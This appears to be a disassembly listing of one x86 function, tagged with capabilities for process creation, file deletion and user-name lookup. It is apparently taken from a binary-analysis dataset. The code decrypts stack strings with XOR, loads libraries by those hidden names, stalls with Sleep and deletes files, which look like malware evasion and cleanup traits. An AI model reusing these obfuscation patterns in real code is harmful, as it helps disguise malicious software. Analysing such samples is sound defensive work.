Function at 0x4119b0
Capabilities:
Create process on windows
Delete file
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x1598
call fcn.0044fbd0
mov eax, dword [0x45e008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call fcn.00441f09
add esp, 4
push eax
call fcn.0043cf64
add esp, 4
xor eax, eax
mov byte [ebp - 0x51d], al
xor ecx, ecx
mov byte [ebp - 0x51e], cl
xor edx, edx
mov byte [ebp - 0x51f], dl
mov al, byte [ebp - 0x51d]
mov byte [ebp - 0x6f0], al
mov cl, byte [ebp - 0x51e]
mov byte [ebp - 0x6f4], cl
mov dl, byte [ebp - 0x51f]
mov byte [ebp - 0x6f8], dl
mov dword [ebp - 0x910], 0xbe234f06
mov dword [ebp - 0x90c], 0x5013f7b9
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0xbc0], eax
mov ecx, dword [ebp - 0x90c]
mov dword [ebp - 0xbbc], ecx
mov dword [ebp - 0x918], 0xae6a03a2
mov dword [ebp - 0x914], 0x1bb3bb0e
mov edx, dword [ebp - 0x918]
mov dword [ebp - 0xbb8], edx
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0xbb4], eax
lea ecx, [ebp - 0xbc0]
mov dword [ebp - 0x708], ecx
mov dword [ebp - 0x2e0], 0xf76d0651
mov dword [ebp - 0x2dc], 0x7e47b2f7
mov dword [ebp - 0x2d8], 0xae066fc6
mov dword [ebp - 0x2d4], 0x1bb3bb0e
xor edx, edx
mov byte [ebp - 0x520], dl
mov al, byte [ebp - 0x520]
mov byte [ebp - 0x6fc], al
movaps xmm0, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x1250], xmm0
mov ecx, dword [ebp - 0x708]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1040], xmm0
movaps xmm0, xmmword [ebp - 0x1040]
pxor xmm0, xmmword [ebp - 0x1250]
movaps xmmword [ebp - 0x1260], xmm0
movaps xmm0, xmmword [ebp - 0x1260]
mov edx, dword [ebp - 0x708]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x908], eax
mov ecx, dword [ebp - 0x908]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x758], eax
xor edx, edx
mov byte [ebp - 0x521], dl
xor eax, eax
mov byte [ebp - 0x522], al
xor ecx, ecx
mov byte [ebp - 0x523], cl
mov dl, byte [ebp - 0x521]
mov byte [ebp - 0x700], dl
mov al, byte [ebp - 0x522]
mov byte [ebp - 0x704], al
mov cl, byte [ebp - 0x523]
mov byte [ebp - 0x598], cl
mov dword [ebp - 0x920], 0xbf234f06
mov dword [ebp - 0x91c], 0x5017e6a3
mov edx, dword [ebp - 0x920]
mov dword [ebp - 0xc50], edx
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0x928], 0xae6a03a2
mov dword [ebp - 0x924], 0x1bb3bb0e
mov ecx, dword [ebp - 0x928]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0x924]
mov dword [ebp - 0xc44], edx
lea eax, [ebp - 0xc50]
mov dword [ebp - 0x70c], eax
mov dword [ebp - 0x2d0], 0xf76d0651
mov dword [ebp - 0x2cc], 0x7e47b2f7
mov dword [ebp - 0x2c8], 0xae066fc6
mov dword [ebp - 0x2c4], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x524], cl
mov dl, byte [ebp - 0x524]
mov byte [ebp - 0x59c], dl
movaps xmm0, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x1280], xmm0
mov eax, dword [ebp - 0x70c]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x1270], xmm0
movaps xmm0, xmmword [ebp - 0x1270]
pxor xmm0, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x1290], xmm0
movaps xmm0, xmmword [ebp - 0x1290]
mov ecx, dword [ebp - 0x70c]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x904], edx
mov eax, dword [ebp - 0x904]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x414ca2
cmp dword [ebp - 0x758], 0
je 0x414ca2
call fcn.0040acd0
movzx ecx, al
test ecx, ecx
jne 0x411daf
mov dword [ebp - 0x930], 0x25f850a0
mov dword [ebp - 0x92c], 0
mov edx, dword [ebp - 0x930]
mov eax, dword [ebp - 0x92c]
xor edx, 5
xor eax, 0
mov dword [ebp - 0x948], edx
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x938], 5
mov dword [ebp - 0x934], 0
mov ecx, dword [0x45e8c0]
xor ecx, 0x2945
mov edx, dword [0x45e8c4]
xor edx, 0
push 0
push 6
push edx
push ecx
call fcn.0044f900
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x93c], edx
mov dword [ebp - 0x950], 0x2945
mov dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x938]
mov ecx, dword [ebp - 0x934]
mov edx, dword [ebp - 0x93c]
add eax, dword [ebp - 0x940]
adc ecx, edx
add eax, 1
adc ecx, 0
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], ecx
mov eax, dword [ebp - 0x948]
mov ecx, dword [ebp - 0x944]
mov edx, dword [ebp - 0x94c]
sub eax, dword [ebp - 0x950]
sbb ecx, edx
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], ecx
mov eax, dword [ebp - 0x958]
mov ecx, dword [ebp - 0x954]
mov edx, dword [ebp - 0x960]
mov esi, dword [ebp - 0x95c]
push esi
push edx
push ecx
push eax
call fcn.00450f90
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], edx
mov eax, dword [ebp - 0x968]
mov ecx, dword [ebp - 0x964]
mov dword [ebp - 0xd78], ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x411c7c
lea edx, [ebp - 0x444]
push edx
call fcn.00405ba0
add esp, 4
xor eax, eax
mov byte [ebp - 0x525], al
xor ecx, ecx
mov byte [ebp - 0x526], cl
xor edx, edx
mov byte [ebp - 0x527], dl
mov al, byte [ebp - 0x525]
mov byte [ebp - 0x5a0], al
mov cl, byte [ebp - 0x526]
mov byte [ebp - 0x5a4], cl
mov dl, byte [ebp - 0x527]
mov byte [ebp - 0x5a8], dl
mov dword [ebp - 0x970], 0xa1196316
mov dword [ebp - 0x96c], 0x1734c092
mov eax, dword [ebp - 0x970]
mov dword [ebp - 0xb90], eax
mov ecx, dword [ebp - 0x96c]
mov dword [ebp - 0xb8c], ecx
mov dword [ebp - 0x978], 0xae7a01a9
mov dword [ebp - 0x974], 0x1bb3bb0e
mov edx, dword [ebp - 0x978]
mov dword [ebp - 0xb88], edx
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0xb84], eax
lea ecx, [ebp - 0xb90]
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x2c0], 0xf76d0651
mov dword [ebp - 0x2bc], 0x7e47b2f7
mov dword [ebp - 0x2b8], 0xae066fc6
mov dword [ebp - 0x2b4], 0x1bb3bb0e
xor edx, edx
mov byte [ebp - 0x528], dl
mov al, byte [ebp - 0x528]
mov byte [ebp - 0x5ac], al
movaps xmm0, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x12b0], xmm0
mov ecx, dword [ebp - 0x710]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x12a0], xmm0
movaps xmm0, xmmword [ebp - 0x12a0]
pxor xmm0, xmmword [ebp - 0x12b0]
movaps xmmword [ebp - 0x12c0], xmm0
movaps xmm0, xmmword [ebp - 0x12c0]
mov edx, dword [ebp - 0x710]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x900], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd7c], esp
push 0x45f5f8
mov edx, dword [ebp - 0x900]
push edx
push ecx
call fcn.00417080
add esp, 0xfffffff4
mov ecx, esp
mov dword [ebp - 0xd80], esp
lea eax, [ebp - 0x444]
push eax
call fcn.00415560
lea ecx, [ebp - 0x4bc]
push ecx
call fcn.0040b1f0
add esp, 0x34
push 0x104
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.0043ac10
add esp, 0xc
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0
lea ecx, [ebp - 0x110]
push ecx
call fcn.0043ac10
add esp, 0xc
mov dword [ebp - 0x414], 0x104
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 1
lea ecx, [ebp - 0x42c]
push ecx
call fcn.004103e0
add esp, 8
xor edx, edx
mov byte [ebp - 0x529], dl
xor eax, eax
mov byte [ebp - 0x52a], al
xor ecx, ecx
mov byte [ebp - 0x52b], cl
mov dl, byte [ebp - 0x529]
mov byte [ebp - 0x5b0], dl
mov al, byte [ebp - 0x52a]
mov byte [ebp - 0x5b4], al
mov cl, byte [ebp - 0x52b]
mov byte [ebp - 0x5b8], cl
mov dword [ebp - 0x980], 0x9301690e
mov dword [ebp - 0x97c], 0x7e47b2f7
mov edx, dword [ebp - 0x980]
mov dword [ebp - 0xc90], edx
mov eax, dword [ebp - 0x97c]
mov dword [ebp - 0xc8c], eax
mov dword [ebp - 0x988], 0xae066fc6
mov dword [ebp - 0x984], 0x1bb3bb0e
mov ecx, dword [ebp - 0x988]
mov dword [ebp - 0xc88], ecx
mov edx, dword [ebp - 0x984]
mov dword [ebp - 0xc84], edx
lea eax, [ebp - 0xc90]
mov dword [ebp - 0x714], eax
mov dword [ebp - 0x2b0], 0xf76d0651
mov dword [ebp - 0x2ac], 0x7e47b2f7
mov dword [ebp - 0x2a8], 0xae066fc6
mov dword [ebp - 0x2a4], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x52c], cl
mov dl, byte [ebp - 0x52c]
mov byte [ebp - 0x5bc], dl
movaps xmm0, xmmword [ebp - 0x2b0]
movaps xmmword [ebp - 0x12e0], xmm0
mov eax, dword [ebp - 0x714]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x12d0], xmm0
movaps xmm0, xmmword [ebp - 0x12d0]
pxor xmm0, xmmword [ebp - 0x12e0]
movaps xmmword [ebp - 0x12f0], xmm0
movaps xmm0, xmmword [ebp - 0x12f0]
mov ecx, dword [ebp - 0x714]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x714]
mov dword [ebp - 0x8fc], edx
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xd84], esp
mov ecx, dword [ebp - 0x8fc]
push ecx
lea edx, [ebp - 0x42c]
push edx
push eax
call fcn.00417220
add esp, 0xc
call fcn.00403230
add esp, 0x18
movzx eax, al
test eax, eax
je 0x4122cf
xor ecx, ecx
mov byte [ebp - 0x52d], cl
xor edx, edx
mov byte [ebp - 0x52e], dl
xor eax, eax
mov byte [ebp - 0x52f], al
mov cl, byte [ebp - 0x52d]
mov byte [ebp - 0x5c0], cl
mov dl, byte [ebp - 0x52e]
mov byte [ebp - 0x5c4], dl
mov al, byte [ebp - 0x52f]
mov byte [ebp - 0x5c8], al
mov dword [ebp - 0x990], 0x9301690e
mov dword [ebp - 0x98c], 0x7e47b2f7
mov ecx, dword [ebp - 0x990]
mov dword [ebp - 0xc00], ecx
mov edx, dword [ebp - 0x98c]
mov dword [ebp - 0xbfc], edx
mov dword [ebp - 0x998], 0xae066fc6
mov dword [ebp - 0x994], 0x1bb3bb0e
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0x994]
mov dword [ebp - 0xbf4], ecx
lea edx, [ebp - 0xc00]
mov dword [ebp - 0x718], edx
mov dword [ebp - 0x2a0], 0xf76d0651
mov dword [ebp - 0x29c], 0x7e47b2f7
mov dword [ebp - 0x298], 0xae066fc6
mov dword [ebp - 0x294], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x530], al
mov cl, byte [ebp - 0x530]
mov byte [ebp - 0x5cc], cl
movaps xmm0, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x1320], xmm0
mov edx, dword [ebp - 0x718]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x1310], xmm0
movaps xmm0, xmmword [ebp - 0x1310]
pxor xmm0, xmmword [ebp - 0x1320]
movaps xmmword [ebp - 0x1330], xmm0
movaps xmm0, xmmword [ebp - 0x1330]
mov eax, dword [ebp - 0x718]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x718]
mov dword [ebp - 0x8f8], ecx
mov edx, dword [ebp - 0x8f8]
push edx
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x1560]
push ecx
call fcn.00417220
add esp, 0xc
mov dword [ebp - 0x8f4], eax
mov edx, dword [ebp - 0x8f4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x71c]
cmp dword [ecx + 0x14], 0x10
jb 0x41227c
mov dword [ebp - 0x77c], 1
jmp 0x412286
mov dword [ebp - 0x77c], 0
movzx edx, byte [ebp - 0x77c]
test edx, edx
je 0x4122ab
mov eax, dword [ebp - 0x71c]
mov ecx, dword [eax]
mov dword [ebp - 0x8f0], ecx
mov edx, dword [ebp - 0x8f0]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x8ec], eax
mov ecx, dword [ebp - 0x8ec]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x1560]
call fcn.00401a20
push 0x45f5f8
lea edx, [ebp - 0x4bc]
push edx
call fcn.004179e0
add esp, 8
movzx eax, al
test eax, eax
je 0x412f5a
xor ecx, ecx
mov byte [ebp - 0x531], cl
xor edx, edx
mov byte [ebp - 0x532], dl
xor eax, eax
mov byte [ebp - 0x533], al
mov cl, byte [ebp - 0x531]
mov byte [ebp - 0x5d0], cl
mov dl, byte [ebp - 0x532]
mov byte [ebp - 0x5d4], dl
mov al, byte [ebp - 0x533]
mov byte [ebp - 0x5d8], al
mov dword [ebp - 0x9a0], 0xa2196316
mov dword [ebp - 0x99c], 0xa26d687
mov ecx, dword [ebp - 0x9a0]
mov dword [ebp - 0xc30], ecx
mov edx, dword [ebp - 0x99c]
mov dword [ebp - 0xc2c], edx
mov dword [ebp - 0x9a8], 0xc06f23a3
mov dword [ebp - 0x9a4], 0x1bb3bb65
mov eax, dword [ebp - 0x9a8]
mov dword [ebp - 0xc28], eax
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp - 0xc24], ecx
lea edx, [ebp - 0xc30]
mov dword [ebp - 0x720], edx
mov dword [ebp - 0x290], 0xf76d0651
mov dword [ebp - 0x28c], 0x7e47b2f7
mov dword [ebp - 0x288], 0xae066fc6
mov dword [ebp - 0x284], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x534], al
mov cl, byte [ebp - 0x534]
mov byte [ebp - 0x5dc], cl
movaps xmm0, xmmword [ebp - 0x290]
movaps xmmword [ebp - 0x1350], xmm0
mov edx, dword [ebp - 0x720]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x1340], xmm0
movaps xmm0, xmmword [ebp - 0x1340]
pxor xmm0, xmmword [ebp - 0x1350]
movaps xmmword [ebp - 0x1360], xmm0
movaps xmm0, xmmword [ebp - 0x1360]
mov eax, dword [ebp - 0x720]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x8e8], ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd88], esp
mov edx, dword [ebp - 0x8e8]
push edx
call fcn.00401810
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd90], esp
lea eax, [ebp - 0x444]
push eax
call fcn.00415560
lea ecx, [ebp - 0x45c]
push ecx
call fcn.0040b1f0
add esp, 0x34
mov edx, dword [ebp - 0x44c]
mov dword [ebp - 0x8e0], edx
mov esi, dword [ebp - 0x8e0]
xor edi, edi
mov eax, dword [0x45e8d8]
xor eax, 0x2945
mov ecx, dword [0x45e8dc]
xor ecx, 0
push 0
push 0
push ecx
push eax
call fcn.0044f900
push 0
push 2
push edx
push eax
call fcn.0044f900
mov ecx, edx
push 0
push 0x2945
mov edx, dword [0x45e8cc]
push edx
mov edx, dword [0x45e8c8]
push edx
mov dword [ebp - 0x8dc], eax
mov dword [ebp - 0x8d8], ecx
call fcn.0044f900
push 0
push 5
push edx
push eax
call fcn.00450f90
mov ecx, dword [ebp - 0x8dc]
add ecx, eax
mov eax, dword [ebp - 0x8d8]
adc eax, edx
xor ecx, 5
xor eax, 0
push eax
push ecx
call fcn.004024d0
add esp, 8
mov dword [ebp - 0x9b0], esi
mov dword [ebp - 0x9ac], edi
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], edx
mov eax, dword [ebp - 0x9ac]
cmp eax, dword [ebp - 0x9b4]
ja 0x412873
jb 0x412525
mov ecx, dword [ebp - 0x9b0]
cmp ecx, dword [ebp - 0x9b8]
ja 0x412873
xor edx, edx
mov byte [ebp - 0x535], dl
xor eax, eax
mov byte [ebp - 0x536], al
xor ecx, ecx
mov byte [ebp - 0x537], cl
mov dl, byte [ebp - 0x535]
mov byte [ebp - 0x5e0], dl
mov al, byte [ebp - 0x536]
mov byte [ebp - 0x5e4], al
mov cl, byte [ebp - 0x537]
mov byte [ebp - 0x5e8], cl
mov dword [ebp - 0x9c0], 0x87197239
mov dword [ebp - 0x9bc], 0x51688884
mov edx, dword [ebp - 0x9c0]
mov dword [ebp - 0xd00], edx
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0xcfc], eax
mov dword [ebp - 0x9c8], 0xdd7606b0
mov dword [ebp - 0x9c4], 0x68c7dd61
mov ecx, dword [ebp - 0x9c8]
mov dword [ebp - 0xcf8], ecx
mov edx, dword [ebp - 0x9c4]
mov dword [ebp - 0xcf4], edx
mov dword [ebp - 0x9d0], 0xfcfc02ed
mov dword [ebp - 0x9cc], 0xc2aa4bee
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0xcf0], eax
mov ecx, dword [ebp - 0x9cc]
mov dword [ebp - 0xcec], ecx
mov dword [ebp - 0x9d8], 0x1d7ee2ed
mov dword [ebp - 0x9d4], 0x3b2ab7d5
mov edx, dword [ebp - 0x9d8]
mov dword [ebp - 0xce8], edx
mov eax, dword [ebp - 0x9d4]
mov dword [ebp - 0xce4], eax
mov dword [ebp - 0x9e0], 0x58f7bfb7
mov dword [ebp - 0x9dc], 0x1b77b77b
mov ecx, dword [ebp - 0x9e0]
mov dword [ebp - 0xce0], ecx
mov edx, dword [ebp - 0x9dc]
mov dword [ebp - 0xcdc], edx
mov dword [ebp - 0x9e8], 0xaf2bbaea
mov dword [ebp - 0x9e4], 0xa49bf542
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xcd8], eax
mov ecx, dword [ebp - 0x9e4]
mov dword [ebp - 0xcd4], ecx
lea edx, [ebp - 0xd00]
mov dword [ebp - 0x580], edx
mov dword [ebp - 0x370], 0xf76d0651
mov dword [ebp - 0x36c], 0x7e47b2f7
mov dword [ebp - 0x368], 0xae066fc6
mov dword [ebp - 0x364], 0x1bb3bb0e
mov dword [ebp - 0x360], 0x86857ac3
mov dword [ebp - 0x35c], 0xaec32dc1
mov dword [ebp - 0x358], 0x70519188
mov dword [ebp - 0x354], 0x154bd0b0
mov dword [ebp - 0x350], 0x5887d2d5
mov dword [ebp - 0x34c], 0x1b77b77b
mov dword [ebp - 0x348], 0xaf2bbaea
mov dword [ebp - 0x344], 0xa49bf542
xor eax, eax
mov byte [ebp - 0x538], al
mov cl, byte [ebp - 0x538]
mov byte [ebp - 0x5ec], cl
movaps xmm0, xmmword [ebp - 0x370]
movaps xmmword [ebp - 0x1380], xmm0
mov edx, dword [ebp - 0x580]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x1370], xmm0
movaps xmm0, xmmword [ebp - 0x1370]
pxor xmm0, xmmword [ebp - 0x1380]
movaps xmmword [ebp - 0x1390], xmm0
movaps xmm0, xmmword [ebp - 0x1390]
mov eax, dword [ebp - 0x580]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x580]
add ecx, 0x10
mov dword [ebp - 0x784], ecx
movaps xmm0, xmmword [ebp - 0x360]
movaps xmmword [ebp - 0x13b0], xmm0
mov edx, dword [ebp - 0x784]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0x13a0], xmm0
movaps xmm0, xmmword [ebp - 0x13a0]
pxor xmm0, xmmword [ebp - 0x13b0]
movaps xmmword [ebp - 0xdf0], xmm0
movaps xmm0, xmmword [ebp - 0xdf0]
mov eax, dword [ebp - 0x784]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x580]
add ecx, 0x20
mov dword [ebp - 0x788], ecx
movaps xmm0, xmmword [ebp - 0x350]
movaps xmmword [ebp - 0xe10], xmm0
mov edx, dword [ebp - 0x788]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xe00], xmm0
movaps xmm0, xmmword [ebp - 0xe00]
pxor xmm0, xmmword [ebp - 0xe10]
movaps xmmword [ebp - 0xe20], xmm0
movaps xmm0, xmmword [ebp - 0xe20]
mov eax, dword [ebp - 0x788]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x580]
mov dword [ebp - 0x78c], ecx
mov edx, dword [ebp - 0x78c]
mov dword [ebp - 0x584], edx
mov eax, dword [ebp - 0x584]
add eax, 1
mov dword [ebp - 0x8d4], eax
mov ecx, dword [ebp - 0x584]
mov dl, byte [ecx]
mov byte [ebp - 0x539], dl
add dword [ebp - 0x584], 1
cmp byte [ebp - 0x539], 0
jne 0x412812
mov eax, dword [ebp - 0x584]
sub eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x8d0], eax
mov ecx, dword [ebp - 0x8d0]
mov dword [ebp - 0x8cc], ecx
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x8c8], edx
mov eax, dword [ebp - 0x8c8]
push eax
mov ecx, dword [ebp - 0x78c]
push ecx
lea ecx, [ebp - 0x45c]
call fcn.00401c20
xor edx, edx
mov byte [ebp - 0x53a], dl
xor eax, eax
mov byte [ebp - 0x53b], al
xor ecx, ecx
mov byte [ebp - 0x53c], cl
mov dl, byte [ebp - 0x53a]
mov byte [ebp - 0x5f0], dl
mov al, byte [ebp - 0x53b]
mov byte [ebp - 0x5f4], al
mov cl, byte [ebp - 0x53c]
mov byte [ebp - 0x5f8], cl
mov dword [ebp - 0x9f0], 0x87197239
mov dword [ebp - 0x9ec], 0x51688884
mov edx, dword [ebp - 0x9f0]
mov dword [ebp - 0xc70], edx
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xc6c], eax
mov dword [ebp - 0x9f8], 0xae066fc6
mov dword [ebp - 0x9f4], 0x1bb3bb0e
mov ecx, dword [ebp - 0x9f8]
mov dword [ebp - 0xc68], ecx
mov edx, dword [ebp - 0x9f4]
mov dword [ebp - 0xc64], edx
lea eax, [ebp - 0xc70]
mov dword [ebp - 0x724], eax
mov ecx, dword [ebp - 0xd74]
mov dword [ebp - 0x798], ecx
mov dword [ebp - 0x280], 0xf76d0651
mov dword [ebp - 0x27c], 0x7e47b2f7
mov dword [ebp - 0x278], 0xae066fc6
mov dword [ebp - 0x274], 0x1bb3bb0e
xor edx, edx
mov byte [ebp - 0x53d], dl
mov al, byte [ebp - 0x53d]
mov byte [ebp - 0x5fc], al
movaps xmm0, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0xe40], xmm0
mov ecx, dword [ebp - 0x724]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xe30], xmm0
movaps xmm0, xmmword [ebp - 0xe30]
pxor xmm0, xmmword [ebp - 0xe40]
movaps xmmword [ebp - 0xe50], xmm0
movaps xmm0, xmmword [ebp - 0xe50]
mov edx, dword [ebp - 0x724]
movups xmmword [edx], xmm0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0xd94]
mov dword [ebp - 0x79c], ecx
lea edx, [ebp - 0x45c]
mov dword [ebp - 0x728], edx
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x794], eax
mov ecx, dword [ebp - 0x728]
cmp dword [ecx + 0x14], 0x10
jb 0x4129e7
mov dword [ebp - 0x790], 1
jmp 0x4129f1
mov dword [ebp - 0x790], 0
movzx edx, byte [ebp - 0x790]
test edx, edx
je 0x412a16
mov eax, dword [ebp - 0x728]
mov ecx, dword [eax]
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x8c4]
mov dword [ebp - 0x794], edx
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x79c], eax
mov ecx, dword [ebp - 0x798]
push ecx
mov edx, dword [ebp - 0x79c]
push edx
call fcn.0043a630
add esp, 8
test eax, eax
je 0x412a48
mov dword [ebp - 0x7a0], 1
jmp 0x412a52
mov dword [ebp - 0x7a0], 0
mov al, byte [ebp - 0x7a0]
mov byte [ebp - 0x546], al
xor ecx, ecx
mov byte [ebp - 0x53e], cl
xor edx, edx
mov byte [ebp - 0x53f], dl
xor eax, eax
mov byte [ebp - 0x540], al
xor ecx, ecx
mov byte [ebp - 0x542], cl
xor edx, edx
mov byte [ebp - 0x543], dl
xor eax, eax
mov byte [ebp - 0x544], al
mov cl, byte [ebp - 0x53e]
mov byte [ebp - 0x600], cl
mov dl, byte [ebp - 0x53f]
mov byte [ebp - 0x604], dl
mov al, byte [ebp - 0x540]
mov byte [ebp - 0x608], al
mov dword [ebp - 0xa00], 0x9215637f
mov dword [ebp - 0x9fc], 0x7e47b2f7
mov ecx, dword [ebp - 0xa00]
mov dword [ebp - 0xb80], ecx
mov edx, dword [ebp - 0x9fc]
mov dword [ebp - 0xb7c], edx
mov dword [ebp - 0xa08], 0xae066fc6
mov dword [ebp - 0xa04], 0x1bb3bb0e
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0xb78], eax
mov ecx, dword [ebp - 0xa04]
mov dword [ebp - 0xb74], ecx
lea edx, [ebp - 0xb80]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0xd98]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x270], 0xf76d0651
mov dword [ebp - 0x26c], 0x7e47b2f7
mov dword [ebp - 0x268], 0xae066fc6
mov dword [ebp - 0x264], 0x1bb3bb0e
xor ecx, ecx
mov byte [ebp - 0x541], cl
mov dl, byte [ebp - 0x541]
mov byte [ebp - 0x60c], dl
movaps xmm0, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0xe70], xmm0
mov eax, dword [ebp - 0x72c]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0xe60], xmm0
movaps xmm0, xmmword [ebp - 0xe60]
pxor xmm0, xmmword [ebp - 0xe70]
movaps xmmword [ebp - 0xe80], xmm0
movaps xmm0, xmmword [ebp - 0xe80]
mov ecx, dword [ebp - 0x72c]
movups xmmword [ecx], xmm0
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x7a8], edx
mov edx, 0x18
lea ecx, [ebp - 0x14d0]
call fcn.004037b0
mov dword [ebp - 0x8bc], eax
mov al, byte [ebp - 0x542]
mov byte [ebp - 0x610], al
mov cl, byte [ebp - 0x543]
mov byte [ebp - 0x614], cl
mov dl, byte [ebp - 0x544]
mov byte [ebp - 0x618], dl
mov dword [ebp - 0xa10], 0xf76d060d
mov dword [ebp - 0xa0c], 0x7e47b2f7
mov eax, dword [ebp - 0xa10]
mov dword [ebp - 0xbe0], eax
mov ecx, dword [ebp - 0xa0c]
mov dword [ebp - 0xbdc], ecx
mov dword [ebp - 0xa18], 0xae066fc6
mov dword [ebp - 0xa14], 0x1bb3bb0e
mov edx, dword [ebp - 0xa18]
mov dword [ebp - 0xbd8], edx
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0xbd4], eax
lea ecx, [ebp - 0xbe0]
mov dword [ebp - 0x730], ecx
mov edx, dword [ebp - 0xd9c]
mov dword [ebp - 0x7a4], edx
mov dword [ebp - 0x260], 0xf76d0651
mov dword [ebp - 0x25c], 0x7e47b2f7
mov dword [ebp - 0x258], 0xae066fc6
mov dword [ebp - 0x254], 0x1bb3bb0e
xor eax, eax
mov byte [ebp - 0x545], al
mov cl, byte [ebp - 0x545]
mov byte [ebp - 0x61c], cl
movaps xmm0, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0xea0], xmm0
mov edx, dword [ebp - 0x730]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xe90], xmm0
movaps xmm0, xmmword [ebp - 0xe90]
pxor xmm0, xmmword [ebp - 0xea0]
movaps xmmword [ebp - 0xeb0], xmm0
movaps xmm0, xmmword [ebp - 0xeb0]
mov eax, dword [ebp - 0x730]
movups xmmword [eax], xmm0
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x7a4], ecx
lea ecx, [ebp - 0x14b8]
call fcn.00403560
mov dword [ebp - 0x8c0], eax
mov edx, dword [ebp - 0x7a4]
push edx
mov eax, dword [ebp - 0x8c0]
push eax
lea ecx, [ebp - 0x14a0]
push ecx
call fcn.00417340
add esp, 0xc
mov dword [ebp - 0x8b8], eax
mov edx, dword [ebp - 0x8bc]
push edx
mov eax, dword [ebp - 0x8b8]
push eax
lea ecx, [ebp - 0x1488]
push ecx
call fcn.00417440
add esp, 0xc
mov dword [ebp - 0x8b4], eax
